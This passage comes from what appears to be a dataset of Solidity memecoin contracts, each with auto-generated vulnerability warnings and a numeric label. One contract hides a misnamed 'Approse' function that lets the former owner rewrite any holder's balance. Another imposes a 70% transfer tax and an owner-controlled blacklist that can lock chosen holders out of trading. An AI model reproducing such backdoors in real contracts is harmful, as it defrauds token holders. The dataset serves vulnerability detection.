_transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MAGA v2\";\n\n string private constant _symbol = unicode\"TRUMP v2\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fd4edb): trump._taxSwapThreshold should be constant \n\t// Recommendation for 2fd4edb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a8dccb): trump._maxTaxSwap should be constant \n\t// Recommendation for 2a8dccb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b92c68c): trump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b92c68c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcbd6a0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcbd6a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a03dd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a03dd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bcbd6a0\n\t\t// reentrancy-benign | ID: 9a03dd8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bcbd6a0\n\t\t// reentrancy-benign | ID: 9a03dd8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3aecc5): trump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3aecc5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9a03dd8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bcbd6a0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7917a3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7917a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84df351): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84df351: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a7917a3\n\t\t\t\t// reentrancy-eth | ID: 84df351\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a7917a3\n\t\t\t\t\t// reentrancy-eth | ID: 84df351\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 84df351\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 84df351\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 84df351\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a7917a3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 84df351\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 84df351\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a7917a3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bcbd6a0\n\t\t// reentrancy-events | ID: a7917a3\n\t\t// reentrancy-benign | ID: 9a03dd8\n\t\t// reentrancy-eth | ID: 84df351\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fc2428f): trump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fc2428f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bcbd6a0\n\t\t// reentrancy-events | ID: a7917a3\n\t\t// reentrancy-eth | ID: 84df351\n\t\t// arbitrary-send-eth | ID: fc2428f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd27351): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd27351: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6286156): trump.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6286156: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0840f61): trump.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0840f61: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f21a036): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f21a036: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bd27351\n\t\t// reentrancy-eth | ID: f21a036\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bd27351\n\t\t// unused-return | ID: 6286156\n\t\t// reentrancy-eth | ID: f21a036\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bd27351\n\t\t// unused-return | ID: 0840f61\n\t\t// reentrancy-eth | ID: f21a036\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bd27351\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f21a036\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10116.sol",
"size_bytes": 20164,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcwistw(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Approse(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract TRUMP is ERC20 {\n uint256 private constant TOAL_SUTSLTSOMT = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2b942e0): TRUMP.DEAD shadows ERC20.DEAD\n\t// Recommendation for 2b942e0: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: c9ec504): TRUMP.ZERO shadows ERC20.ZERO\n\t// Recommendation for c9ec504: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff62bc5): TRUMP.maxTxAmoudcEM should be immutable \n\t// Recommendation for ff62bc5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudcEM;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9239eaa): TRUMP.maxwalles_dEOMS should be immutable \n\t// Recommendation for 9239eaa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_dEOMS;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4440db9): TRUMP._burnPermtts should be constant \n\t// Recommendation for 4440db9: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermtts = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: df1ca2c): TRUMP.uniswapV2Router should be immutable \n\t// Recommendation for df1ca2c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n )\n ERC20(\n unicode\"HarryPotterPresidentTrumpPepeMaga\",\n unicode\"TRUMP\",\n TOAL_SUTSLTSOMT\n )\n {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_dEOMS = TOAL_SUTSLTSOMT / 41;\n\n maxTxAmoudcEM = TOAL_SUTSLTSOMT / 41;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermtts) / 100;\n\n super._transfer_etcwistw(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudcEM, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_dEOMS,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10117.sol",
"size_bytes": 18989,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PENDY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => 